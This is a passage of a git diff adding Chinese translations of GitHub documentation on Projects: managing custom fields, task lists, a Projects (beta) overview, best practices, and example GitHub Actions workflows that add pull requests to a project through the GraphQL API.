+ ![显示“保存”按钮的屏幕截图](/assets/images/help/projects-v2/new-field-save.png) + +或者,通过按 {% data variables.projects.command-palette-shortcut %} 打开项目命令面板,然后开始键入“创建新字段”。 diff --git a/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/deleting-fields.md b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/deleting-fields.md new file mode 100644 index 0000000000..1e47a41277 --- /dev/null +++ b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/deleting-fields.md @@ -0,0 +1,23 @@ +--- +title: 删除字段 +intro: 了解如何从 {% data variables.projects.project_v2 %} 中删除字段。 +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +type: tutorial +topics: +- Projects +ms.openlocfilehash: 2998d4d39a3ec5f59a649fe62fd15c974e1e7ff7 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108166" +--- +{% data reusables.projects.project-settings %} +1. 单击希望删除的字段名称。 + ![显示迭代字段的屏幕截图](/assets/images/help/projects-v2/select-single-select.png) +1. 在字段名称旁边,单击 {% octicon "kebab-horizontal" aria-label="The menu icon" %} 以打开菜单。 + ![显示字段名称的屏幕截图](/assets/images/help/projects-v2/field-options.png) +1. 单击“删除字段”。 + ![显示字段名称的屏幕截图](/assets/images/help/projects-v2/delete-field.png) diff --git a/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/index.md b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/index.md new file mode 100644 index 0000000000..26dd65584d --- /dev/null +++ b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/index.md @@ -0,0 +1,24 @@ +--- +title: 了解字段类型 +shortTitle: Understanding field types +intro: 了解不同的自定义字段类型,了解如何向项目添加自定义字段以及如何管理自定义字段。 +versions: + feature: projects-v2 +topics: +- Issues +- Projects +children: +- /about-text-and-number-fields +- /about-date-fields +- /about-single-select-fields +- /about-iteration-fields +- /renaming-fields +- /deleting-fields +allowTitleToDifferFromFilename: true +ms.openlocfilehash: eaa9fe7d4dbd6b2c43d0ab2ad12faf173d6f571a +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108093" +--- diff --git a/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/renaming-fields.md b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/renaming-fields.md new file mode 100644 index 0000000000..a35a5ad591 --- /dev/null +++ b/translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/renaming-fields.md @@ -0,0 +1,22 @@ +--- +title: 重命名字段 +intro: 了解如何重命名 {% data variables.projects.project_v2 %} 中的现有字段。 +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +type: tutorial +topics: +- Projects +ms.openlocfilehash: a8e43cc14edf9dd0c6838d8f75839a2c0624a7a5 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108121" +--- +{% data reusables.projects.project-settings %} +1. 单击要重命名的字段的名称。 + ![迭代字段的屏幕截图](/assets/images/help/projects-v2/select-single-select.png) +1. 在“字段名称”下,键入字段的新名称。 + ![显示字段名称的屏幕截图](/assets/images/help/projects-v2/field-rename.png) +1. 若要保存更改,请按 Return。 diff --git a/translations/zh-CN/content/issues/tracking-your-work-with-issues/about-task-lists.md b/translations/zh-CN/content/issues/tracking-your-work-with-issues/about-task-lists.md new file mode 100644 index 0000000000..a88b811075 --- /dev/null +++ b/translations/zh-CN/content/issues/tracking-your-work-with-issues/about-task-lists.md @@ -0,0 +1,81 @@ +--- +title: 关于任务列表 +intro: 您可以使用任务列表将议题或拉取请求的工作分解为较小的任务,然后跟踪要完成的整套工作。 +redirect_from: +- /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-task-lists +- /articles/about-task-lists +- /github/managing-your-work-on-github/about-task-lists +- /issues/tracking-your-work-with-issues/creating-issues/about-task-lists +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Pull requests +- Issues +ms.openlocfilehash: 0d6973dfe6fbd59d945602423621918a600b15d7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146179509" +--- +{% ifversion fpt or ghec %} {% note %} + +**注意:** 改进的作业列表目前处于测试阶段,可能会更改。 + +{% endnote %} {% endif %} + +## 关于任务列表 + +任务列表是一组任务,每个任务都在单独的行上呈现,带有可点击的复选框。 您可以选中或取消选中复选框来将任务标记为完成或未完成。 + +您可以使用 Markdown 在 {% data variables.product.product_name %} 上的任何评论中创建任务列表。 {% ifversion fpt or ghec %}如果在列表中引用议题、拉取请求或讨论,则引用将展开以显示标题和状态。{% endif %} + +{% ifversion not fpt or ghec %} 当任务列表在初始评论中时,可以查看议题和拉取请求列表中的任务列表摘要信息。 +{% else %} + +## 关于议题任务列表 + +如果您将任务列表添加到议题正文中,列表具有添加的功能。 + +- 为了帮助您跟踪团队在议题上的操作,议题任务列表的进度出现在 {% data variables.product.product_name %} 的不同位置,例如仓库的议题列表。 +- 如果任务引用另一个议题,并且有人关闭该议题,则任务的复选框将自动标记为完整。 +- 如果任务需要进一步跟踪或讨论,您可以通过在任务上方悬停并单击任务右上角的 {% octicon "issue-opened" aria-label="The issue opened icon" %} 将任务转换为议题。 要在创建议题之前添加更多详细信息,您可以使用键盘快捷方式打开新议题表单。 有关详细信息,请参阅“[键盘快捷方式](/github/getting-started-with-github/using-github/keyboard-shortcuts#issues-and-pull-requests)”。 +- 任务列表中提及的任何议题都将指定在引用议题中跟踪它们。 + +![渲染的任务列表](/assets/images/help/writing/task-list-rendered.png) + +{% endif %} + +## 创建任务列表 + +{% data reusables.repositories.task-list-markdown %} + +{% tip %} + +**提示:** 不能在已关闭的议题或包含链接的拉取请求的议题中创建任务列表项目。 + +{% endtip %} + +## 对任务重新排序 + +您可以单击任务左边的复选框并将任务拖放至新位置,对任务列表中的项目重新排序。 您可以在相同的评论中对不同列表中的任务重新排序,但是不能在不同的评论中重新排序任务。 + +{% ifversion fpt %} ![重新排序的任务列表](/assets/images/help/writing/task-list-reordered.gif) {% else %} ![重新排序的任务列表](/assets/images/enterprise/writing/task-lists-reorder.gif) {% endif %} + +{% ifversion fpt %} + +## 导航跟踪的议题 + +任务列表中引用的任何议题都指定它们被包含任务列表的议题跟踪。 要从已跟踪的议题导航到正在跟踪的议题,请单击议题状态旁边的“已跟踪”中的跟踪议题编号。 + +![跟踪示例](/assets/images/help/writing/task_list_tracked.png) + +{% endif %} + +## 延伸阅读 + +* “[基本编写和格式化语法](/articles/basic-writing-and-formatting-syntax)”{% ifversion code-scanning-task-lists %} +* “[使用任务列表跟踪议题中的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists)”{% endif %} diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/about-projects.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/about-projects.md new file mode 100644 index 0000000000..437e89f411 --- /dev/null +++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/about-projects.md @@ -0,0 +1,69 @@ +--- +title: 关于项目(测试版) +intro: 项目是一个可定制的灵活工具,用于规划和跟踪 {% data variables.product.company_short %} 上的工作。 +allowTitleToDifferFromFilename: true +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' +type: overview +topics: +- Projects +ms.openlocfilehash: eee2010b449aa65795f03ffa513138abcf3d5caf +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145128692" +--- +{% data reusables.projects.projects-beta %} + +## 关于项目 + +项目是一个可自定义的电子表格,可与您在 {% data variables.product.company_short %} 上的议题和拉取请求集成。 您可以通过筛选、排序及分组议题和 PR 来自定义布局。 您也可以添加自定义字段来跟踪元数据。 项目是灵活的,以便您的团队能够以最适合他们的方式工作。 + +### 保持最新 + +您的项目自动更新 {% data variables.product.company_short %} 的信息。 当拉请求或议题更改时,您的项目会反映这种更改。 此集成也双向运行,因此当您更改有关项目中拉取请求或议题的信息时,拉取请求或议题会反映该信息。 + +### 添加元数据到任务 + +您可以使用自定义字段为您的任务添加元数据。 例如,您可以跟踪以下元数据: + +- 跟踪目标运输日期的日期字段 +- 跟踪任务复杂性的数字字段 +- 跟踪任务是低、中还是高优先级的单个选择字段 +- 添加快速说明的文本字段 +- 用于每周计划工作的迭代字段,包括对休息时间的支持 + +### 从不同的角度查看您的项目 + +您可以将您的项目视为高密度表布局: + +![项目表](/assets/images/help/issues/projects_table.png) + +或作为板: + +![项目板](/assets/images/help/issues/projects_board.png) + +为了帮助您专注于项目的特定方面,您可以对项目进行分组、排序或筛选: + +![项目视图](/assets/images/help/issues/project_view.png) + +有关详细信息,请参阅“[自定义项目视图](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)”。 + +### 使用项目命令面板 + +您可以使用项目命令板快速更改视图或添加字段。 命令板会引导您,这样您便无需记住自定义键盘快捷键。 有关详细信息,请参阅“[自定义项目视图](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)”。 + +### 自动化项目管理任务 + +项目(测试版)提供内置工作流程。 例如,当议题关闭时,您可以自动将状态设置为“完成”。 您也可以使用 GraphQL API 和 {% data variables.product.prodname_actions %} 自动化常规项目管理任务。 有关详细信息,请参阅“[自动化项目](/issues/trying-out-the-new-projects-experience/automating-projects)”和“[使用 API 管理项目](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)”。 + +## 比较项目(测试版)与非测试版项目 + +项目(测试版)是一个新的可自定义项目版本。 有关非 beta 版项目的详细信息,请参阅“[使用项目板组织工作](/issues/organizing-your-work-with-project-boards)”。 + +## 分享反馈 + +您可以与 {% data variables.product.company_short %} 分享您对项目(测试版)的反馈。 若要加入对话,请参阅[反馈讨论](https://github.com/github/feedback/discussions/categories/issues-feedback)。 diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/automating-projects.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/automating-projects.md new file mode 100644 index 0000000000..35806c19e8 --- /dev/null +++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/automating-projects.md @@ -0,0 +1,585 @@ +--- +title: 自动化项目(测试版) +intro: 您可以使用内置工作流程或 API 和 {% data variables.product.prodname_actions %} 来管理项目。 +allowTitleToDifferFromFilename: true +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' +type: tutorial +topics: +- Projects +- Workflows +- Project management +ms.openlocfilehash: ed82cc99b3faf5e58e0ddb09fac0bbab1b6123f2 +ms.sourcegitcommit: 6a266bff4d8c9ee928560c3af45eddd7fb4f3a0c +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/26/2022 +ms.locfileid: "147410529" +--- +{% data reusables.projects.projects-beta %} + +{% data reusables.projects.graphql-deprecation %} + +## 简介 + +您可以添加自动化来帮助管理项目。 项目(测试版)包括可通过 UI 配置的内置工作流程。 此外,您可以使用 GraphQL API 和 {% data variables.product.prodname_actions %} 编写自定义工作流程。 + +## 内置工作流程 + +{% data reusables.projects.about-workflows %} + +您可以为项目启用或禁用内置工作流程。 + +{% data reusables.projects.enable-basic-workflow %} + +## {% data variables.product.prodname_actions %} 工作流程 + +本节说明如何使用 GraphQL API 和 {% data variables.product.prodname_actions %} 向组织项目添加拉取请求。 在示例工作流程中,当拉取请求标记为“准备审核”时,项目中会添加一项“状态”字段设置为“待办”的新任务,并且当前日期添加到自定义的“发布日期”字段中。 + +您可以复制以下工作流程之一,并按照下表中的说明对其进行修改,以满足您的需求。 + +项目可以跨越多个仓库,但工作流是特定于仓库的。 将工作流添加到希望项目跟踪的每个存储库。有关创建工作流文件的详细信息,请参阅“[{% data variables.product.prodname_actions %} 快速入门](/actions/quickstart)”。 + +本文假设您基本了解 {% data variables.product.prodname_actions %}。 有关 {% data variables.product.prodname_actions %} 的详细信息,请参阅“[{% data variables.product.prodname_actions %}](/actions)”。 + +有关可以通过 API 对项目进行的其他更改的详细信息,请参阅“[使用 API 管理项目](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)”。 + +{% note %} + +注意:`GITHUB_TOKEN` 的范围限定为存储库级别,无法访问项目(beta 版)。 要访问项目(测试版),可以创建 {% data variables.product.prodname_github_app %} (建议用于组织项目)或个人访问令牌(建议用于用户项目)。 下面显示了这两种方法的工作流程示例。 + +{% endnote %} + +### 使用 {% data variables.product.prodname_github_app %} 进行身份验证的示例工作流程 + +1. 创建 {% data variables.product.prodname_github_app %} 或选择组织拥有的现有 {% data variables.product.prodname_github_app %}。 有关详细信息,请参阅“[创建 {% data variables.product.prodname_github_app %}](/developers/apps/building-github-apps/creating-a-github-app)”。 +2. 授予 {% data variables.product.prodname_github_app %} 对组织项目的读取和写入权限。 有关详细信息,请参阅“[编辑 {% data variables.product.prodname_github_app %} 的权限](/developers/apps/managing-github-apps/editing-a-github-apps-permissions)”。 + + {% note %} + + 注意:你可以控制应用对组织项目和存储库项目的权限。 您必须授予读取和写入组织项目的权限;读取和写入存储库项目的权限是不够的。 + + {% endnote %} + +3. 在组织中安装 {% data variables.product.prodname_github_app %}。 为项目需要访问的所有存储库安装它。 有关详细信息,请参阅“[安装{% data variables.product.prodname_github_apps %}](/developers/apps/managing-github-apps/installing-github-apps#installing-your-private-github-app-on-your-repository)”。 +4. 将 {% data variables.product.prodname_github_app %} 的 ID 作为机密存储在存储库或组织中。 在以下工作流中,将 `APP_ID` 替换为机密的名称。 您可以在应用的设置页面上或通过应用 API 找到应用 ID。 有关详细信息,请参阅“[应用](/rest/reference/apps#get-an-app)”。 +5. 为应用生成私钥。 将生成的文件的内容作为机密存储在存储库或组织中。 (存储文件的全部内容,包括 `-----BEGIN RSA PRIVATE KEY-----` 和 `-----END RSA PRIVATE KEY-----`。)在以下工作流中,将 `APP_PEM` 替换为机密的名称。 有关详细信息,请参阅“[使用 {% data variables.product.prodname_github_apps %} 进行身份验证](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key)”。 +6. 在以下工作流中,将 `YOUR_ORGANIZATION` 替换为组织的名称。 例如 `octo-org`。 将 `YOUR_PROJECT_NUMBER` 替换为项目编号。 要查找项目编号,请查看项目 URL。 例如,`https://github.com/orgs/octo-org/projects/5` 的项目编号为 5。 + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Add PR to project +on: + pull_request: + types: + - ready_for_review +jobs: + track_pr: + runs-on: ubuntu-latest + steps: + - name: Generate token + id: generate_token + uses: tibdex/github-app-token@36464acb844fc53b9b8b2401da68844f6b05ebb0 + with: + app_id: {% raw %}${{ secrets.APP_ID }}{% endraw %} + private_key: {% raw %}${{ secrets.APP_PEM }}{% endraw %} + + - name: Get project data + env: + GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} + ORGANIZATION: YOUR_ORGANIZATION + PROJECT_NUMBER: YOUR_PROJECT_NUMBER + run: | + gh api graphql -f query=' + query($org: String!, $number: Int!) { + organization(login: $org){ + projectV2(number: $number) { + id + fields(first:20) { + nodes { + ... on ProjectV2Field { + id + name + } + ... on ProjectV2SingleSelectField { + id + name + options { + id + name + } + } + } + } + } + } + }' -f org=$ORGANIZATION -F number=$PROJECT_NUMBER > project_data.json + + echo 'PROJECT_ID='$(jq '.data.organization.projectV2.id' project_data.json) >> $GITHUB_ENV + echo 'DATE_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Date posted") | .id' project_data.json) >> $GITHUB_ENV + echo 'STATUS_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .id' project_data.json) >> $GITHUB_ENV + echo 'TODO_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .options[] | select(.name=="Todo") |.id' project_data.json) >> $GITHUB_ENV + + - name: Add PR to project + env: + GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} + PR_ID: {% raw %}${{ github.event.pull_request.node_id }}{% endraw %} + run: | + item_id="$( gh api graphql -f query=' + mutation($project:ID!, $pr:ID!) { + addProjectV2ItemById(input: {projectId: $project, contentId: $pr}) { + item { + id + } + } + }' -f project=$PROJECT_ID -f pr=$PR_ID --jq '.data.addProjectV2ItemById.item.id')" + + echo 'ITEM_ID='$item_id >> $GITHUB_ENV + + - name: Get date + run: echo "DATE=$(date +"%Y-%m-%d")" >> $GITHUB_ENV + + - name: Set fields + env: + GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} + run: | + gh api graphql -f query=' + mutation ( + $project: ID! + $item: ID! + $status_field: ID! + $status_value: String! + $date_field: ID! + $date_value: Date! + ) { + set_status: updateProjectV2ItemFieldValue(input: { + projectId: $project + itemId: $item + fieldId: $status_field + value: { + singleSelectOptionId: $status_value + } + }) { + projectV2Item { + id + } + } + set_date_posted: updateProjectV2ItemFieldValue(input: { + projectId: $project + itemId: $item + fieldId: $date_field + value: { + date: $date_value + } + }) { + projectV2Item { + id + } + } + }' -f project=$PROJECT_ID -f item=$ITEM_ID -f status_field=$STATUS_FIELD_ID -f status_value={% raw %}${{ env.TODO_OPTION_ID }}{% endraw %} -f date_field=$DATE_FIELD_ID -f date_value=$DATE --silent + +``` + +### 使用个人访问令牌进行身份验证的示例工作流程 + +1. 使用 `project` 和 `repo` 范围创建个人访问令牌。 有关详细信息,请参阅“[创建个人访问令牌](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)”。 +2. 将个人访问令牌另存为存储库或组织中的机密。 +3. 在以下工作流中,将 `YOUR_TOKEN` 替换为机密的名称。 将 `YOUR_ORGANIZATION` 替换为组织的名称。 例如 `octo-org`。 将 `YOUR_PROJECT_NUMBER` 替换为项目编号。 要查找项目编号,请查看项目 URL。 例如,`https://github.com/orgs/octo-org/projects/5` 的项目编号为 5。 + +```yaml{:copy} +name: Add PR to project +on: + pull_request: + types: + - ready_for_review +jobs: + track_pr: + runs-on: ubuntu-latest + steps: + - name: Get project data + env: + GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %} + ORGANIZATION: YOUR_ORGANIZATION + PROJECT_NUMBER: YOUR_PROJECT_NUMBER + run: | + gh api graphql -f query=' + query($org: String!, $number: Int!) { + organization(login: $org){ + projectV2(number: $number) { + id + fields(first:20) { + nodes { + ... on ProjectV2Field { + id + name + } + ... on ProjectV2SingleSelectField { + id + name + options { + id + name + } + } + } + } + } + } + }' -f org=$ORGANIZATION -F number=$PROJECT_NUMBER > project_data.json + + echo 'PROJECT_ID='$(jq '.data.organization.projectV2.id' project_data.json) >> $GITHUB_ENV + echo 'DATE_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Date posted") | .id' project_data.json) >> $GITHUB_ENV + echo 'STATUS_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .id' project_data.json) >> $GITHUB_ENV + echo 'TODO_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .options[] | select(.name=="Todo") |.id' project_data.json) >> $GITHUB_ENV + + - name: Add PR to project + env: + GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %} + PR_ID: {% raw %}${{ github.event.pull_request.node_id }}{% endraw %} + run: | + item_id="$( gh api graphql -f query=' + mutation($project:ID!, $pr:ID!) { + addProjectV2ItemById(input: {projectId: $project, contentId: $pr}) { + item { + id + } + } + }' -f project=$PROJECT_ID -f pr=$PR_ID --jq '.data.addProjectV2ItemById.item.id')" + + echo 'ITEM_ID='$item_id >> $GITHUB_ENV + + - name: Get date + run: echo "DATE=$(date +"%Y-%m-%d")" >> $GITHUB_ENV + + - name: Set fields + env: + GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %} + run: | + gh api graphql -f query=' + mutation ( + $project: ID! + $item: ID! + $status_field: ID! + $status_value: String! + $date_field: ID! + $date_value: Date! + ) { + set_status: updateProjectV2ItemFieldValue(input: { + projectId: $project + itemId: $item + fieldId: $status_field + value: { + singleSelectOptionId: $status_value + } + }) { + projectV2Item { + id + } + } + set_date_posted: updateProjectV2ItemFieldValue(input: { + projectId: $project + itemId: $item + fieldId: $date_field + value: { + date: $date_value + } + }) { + projectV2Item { + id + } + } + }' -f project=$PROJECT_ID -f item=$ITEM_ID -f status_field=$STATUS_FIELD_ID -f status_value={% raw %}${{ env.TODO_OPTION_ID }}{% endraw %} -f date_field=$DATE_FIELD_ID -f date_value=$DATE --silent + +``` + +### 工作流程说明 + +下表说明了示例工作流程的各个部分,并向您展示了如何调整工作流程以供自己使用。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +```yaml +on: + pull_request: + types: + - ready_for_review +``` + + +当仓库中的拉取请求标记为“准备审核”时,此工作流程将运行。 +
+ +仅限 {% data variables.product.prodname_github_app %}: + +```yaml +- name: Generate token + id: generate_token + uses: tibdex/github-app-token@36464acb844fc53b9b8b2401da68844f6b05ebb0 + with: + app_id: {% raw %}${{ secrets.APP_ID }}{% endraw %} + private_key: {% raw %}${{ secrets.APP_PEM }}{% endraw %} +``` + + +使用 tibdex/github-app-token 操作从应用 ID 和私钥为应用生成安装访问令牌。 稍后在工作流中以 {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} 的形式访问安装访问令牌。 +
+
+将 APP_ID 替换为包含应用 ID 的机密的名称。 +
+
+将 APP_PEM 替换为包含应用私钥的机密的名称。 +
+ +{% data variables.product.prodname_github_app %}: + +```yaml +env: + GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} + ORGANIZATION: YOUR_ORGANIZATION + PROJECT_NUMBER: YOUR_PROJECT_NUMBER +``` + +个人访问令牌: + +```yaml +env: + GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %} + ORGANIZATION: YOUR_ORGANIZATION + PROJECT_NUMBER: YOUR_PROJECT_NUMBER +``` + + +为此步骤设置环境变量。 +
+
+如果使用个人访问令牌,请将 YOUR_TOKEN 替换为包含个人访问令牌的机密的名称。 +
+
+将 YOUR_ORGANIZATION 替换为组织的名称。 例如 octo-org。 +
+
+将 YOUR_PROJECT_NUMBER 替换为项目编号。 要查找项目编号,请查看项目 URL。 例如,https://github.com/orgs/octo-org/projects/5 的项目编号为 5。 +
+ +```yaml +gh api graphql -f query=' + query($org: String!, $number: Int!) { + organization(login: $org){ + projectV2(number: $number) { + id + fields(first:20) { + nodes { + ... on ProjectV2Field { + id + name + } + ... on ProjectV2SingleSelectField { + id + name + options { + id + name + } + } + } + } + } + } + }' -f org=$ORGANIZATION -F number=$PROJECT_NUMBER > project_data.json +``` + + +

使用 {% data variables.product.prodname_cli %} 查询项目的 ID 的 API,并返回项目中前 20 个字段的名称和 ID。 fields 会返回一个联合,查询使用内联片段 (... on) 返回任何 ProjectV2FieldProjectV2SingleSelectField 字段的相关信息。

+ +

响应存储在名为 project_data.json 的文件中。

+
+ +```yaml +echo 'PROJECT_ID='$(jq '.data.organization.projectV2.id' project_data.json) >> $GITHUB_ENV +echo 'DATE_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Date posted") | .id' project_data.json) >> $GITHUB_ENV +echo 'STATUS_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .id' project_data.json) >> $GITHUB_ENV +echo 'TODO_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .options[] | select(.name=="Todo") |.id' project_data.json) >> $GITHUB_ENV +``` + + +解析 API 查询的响应,并将相关 ID 存储为环境变量。 修改此选项以获取不同字段或选项的 ID。 例如: +
    +
  • 若要获取名为 Team 的字段的 ID,请添加 echo 'TEAM_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Team") | .id' project_data.json) >> $GITHUB_ENV
  • +
  • 若要获取 Team 单选字段的名为 Octoteam 的选项的 ID,请添加 echo 'OCTOTEAM_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Team") |.options[] | select(.name=="Octoteam") |.id' project_data.json) >> $GITHUB_ENV
  • +
注意:此工作流程假定你有一个项目,其中包含一个名为“状态”的单选字段、一个名为“待办”的选项和一个名为“发布日期”的日期字段 +。 您必须修改此部分以匹配表中存在的字段。 +
+ +{% data variables.product.prodname_github_app %}: + +```yaml +env: + GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} + PR_ID: {% raw %}${{ github.event.pull_request.node_id }}{% endraw %} +``` + +个人访问令牌: + +```yaml +env: + GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %} + PR_ID: {% raw %}${{ github.event.pull_request.node_id }}{% endraw %} +``` + + +为此步骤设置环境变量。 GITHUB_TOKEN 如上所述。 PR_ID 是触发此工作流的拉取请求的 ID。 + +
+ +```yaml +item_id="$( gh api graphql -f query=' + mutation($project:ID!, $pr:ID!) { + addProjectV2ItemById(input: {projectId: $project, contentId: $pr}) { + item { + id + } + } + }' -f project=$PROJECT_ID -f pr=$PR_ID --jq '.data.addProjectV2ItemById.item.id')" +``` + + +使用 {% data variables.product.prodname_cli %} 和 API 将触发此工作流的拉取请求添加到项目。 jq 标志解析响应以获取所创建项目的 ID。 +
+ +```yaml +echo 'ITEM_ID='$item_id >> $GITHUB_ENV +``` + + +将已创建项的 ID 存储为环境变量。 +
+ +```yaml +echo "DATE=$(date +"%Y-%m-%d")" >> $GITHUB_ENV +``` + + +以 yyyy-mm-dd 格式将当前日期保存为环境变量。 +
+ +{% data variables.product.prodname_github_app %}: + +```yaml +env: + GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} +``` + +个人访问令牌: + +```yaml +env: + GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %} +``` + + +为此步骤设置环境变量。 GITHUB_TOKEN 如上所述。 + +
+ +```yaml +gh api graphql -f query=' + mutation ( + $project: ID! + $item: ID! + $status_field: ID! + $status_value: String! + $date_field: ID! + $date_value: Date! + ) { + set_status: updateProjectV2ItemFieldValue(input: { + projectId: $project + itemId: $item + fieldId: $status_field + value: { + singleSelectOptionId: $status_value + } + }) { + projectV2Item { + id + } + } + set_date_posted: updateProjectV2ItemFieldValue(input: { + projectId: $project + itemId: $item + fieldId: $date_field + value: { + date: $date_value + } + }) { + projectV2Item { + id + } + } + }' -f project=$PROJECT_ID -f item=$ITEM_ID -f status_field=$STATUS_FIELD_ID -f status_value={% raw %}${{ env.TODO_OPTION_ID }}{% endraw %} -f date_field=$DATE_FIELD_ID -f date_value=$DATE --silent +``` + + +将 Status 字段的值设置为 Todo。 设置 Date posted 字段的值。 +
diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md new file mode 100644 index 0000000000..8cd6bf3641 --- /dev/null +++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md @@ -0,0 +1,87 @@ +--- +title: 管理项目的最佳实践(测试版) +intro: 学习在 {% data variables.product.company_short %} 中管理项目的技巧。 +allowTitleToDifferFromFilename: true +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' +type: overview +topics: +- Projects +- Issues +- Project management +ms.openlocfilehash: 70c50bf58f99575759b91fb520fa3275127d9a49 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145128684" +--- +{% data reusables.projects.projects-beta %} + +您可以使用项目来管理您在 {% data variables.product.company_short %} 上的工作,其中包括您的议题和拉取请求。 阅读提示以便高效和有效地管理您的项目。 有关项目的详细信息,请参阅“[关于项目](/issues/trying-out-the-new-projects-experience/about-projects)”。 + +## 将大议题分成较小的议题 + +将大议题分解为较小的议题,使工作更加易于管理,并使团队成员能够并行工作。 它还会导致较小的拉取请求,这些请求更容易审查。 + +要跟踪较小的议题如何融入更大的目标,请使用任务列表、里程碑或标签。 有关详细信息,请参阅“[关于任务列表](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)”、“[关于里程碑](/issues/using-labels-and-milestones-to-track-work/about-milestones)”和“[管理标签](/issues/using-labels-and-milestones-to-track-work/managing-labels)”。 + +## 通信 + +议题和拉取请求包括内置功能,让您轻松地与协作者沟通。 使用 @mentions 提醒个人或整个团队注意某条评论。 指派议题协作者负责沟通。 链接到相关的议题或拉取请求以沟通它们是如何连接的。 + +## 使用描述和 README + +使用您的项目描述和 README 来分享有关该项目的信息。 + +例如: + +- 解释项目的目的。 +- 描述项目视图及其使用方法。 +- 包括相关链接和要联系的人员以获取更多信息。 + +项目 README 支持 